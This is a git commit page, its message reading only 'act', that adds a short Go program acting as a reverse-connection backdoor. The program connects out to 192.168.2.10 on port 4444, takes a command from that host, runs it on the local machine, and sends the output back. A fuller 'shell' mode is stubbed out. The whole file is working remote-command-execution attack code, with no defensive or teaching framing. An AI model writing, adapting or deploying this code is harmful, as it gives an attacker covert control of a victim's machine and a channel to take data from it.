act
This commit is contained in:
+57
@@ -0,0 +1,57 @@
|
||||
package main
|
||||
import (
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type remoteAddr struct {
|
||||
Addr string
|
||||
}
|
||||
|
||||
func SetAddr() *remoteAddr {
|
||||
return &remoteAddr {
|
||||
Addr: "192.168.2.10:4444",
|
||||
}
|
||||
}
|
||||
|
||||
func (ra remoteAddr) CreateConn() {
|
||||
conn, err := net.Dial("tcp", ra.Addr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
buf := make([]byte,4096)
|
||||
n, err := conn.Read(buf)
|
||||
data := string(buf[:n])
|
||||
mensaje := strings.TrimSpace(data)
|
||||
partes := strings.Split(mensaje, " ")
|
||||
comandoPrincipal := partes[0]
|
||||
if comandoPrincipal != "shell" {
|
||||
sendOutput(conn, partes)
|
||||
} else {
|
||||
//sendShell()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func sendOutput(conn net.Conn, partes []string) {
|
||||
defer conn.Close()
|
||||
comandoPrincipal := partes[0]
|
||||
argumentos := partes[1:]
|
||||
|
||||
cmd := exec.Command(comandoPrincipal, argumentos...)
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write(output)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
func main() {
|
||||
obj_reverConn := SetAddr()
|
||||
obj_reverConn.CreateConn()
|
||||
}
|
||||
Reference in New Issue
Block a user